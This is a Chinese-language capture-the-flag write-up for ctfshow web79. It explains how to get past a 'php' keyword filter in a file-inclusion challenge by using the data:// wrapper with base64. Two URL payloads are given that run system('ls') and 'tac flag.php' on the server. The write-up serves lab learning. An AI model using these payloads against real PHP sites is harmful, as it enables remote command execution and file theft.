ctfshow web79
- 题号:web79
- 难度:⭐⭐
- 考点:文件包含(data配合base64编码执行命令)
- 日期:2026-8-30
题目描述
题目用str_replace函数将php替换成了???,且是遍历循环,无法双写绕过
解题思路
1.这里就得想到data://text/plain伪协议了,因为你要执行的是php命令,所以你还要配和base64进行编码绕过,所以你接下来将使用的是data://text/plain;base64,的组合技!(唯一需要注意的是:因为你是base64编码,内容中会存在%=等等符号,你输入在浏览器栏时可能会被url解码,所以你这里最好自己先进行编码一次)
Payload / 关键操作
1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B
2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D
复现截图
![[Pasted image 20260830205209.png|271]]![[Pasted image 20260830205226.png|258]]
2.
![[Pasted image 20260830205412.png|264]]![[Pasted image 20260830205424.png|305]]

对应课程章节
50文件包含
踩坑记录 / 复盘
1.没有想到data://text/plain,伪协议居然可以配合base64打组合技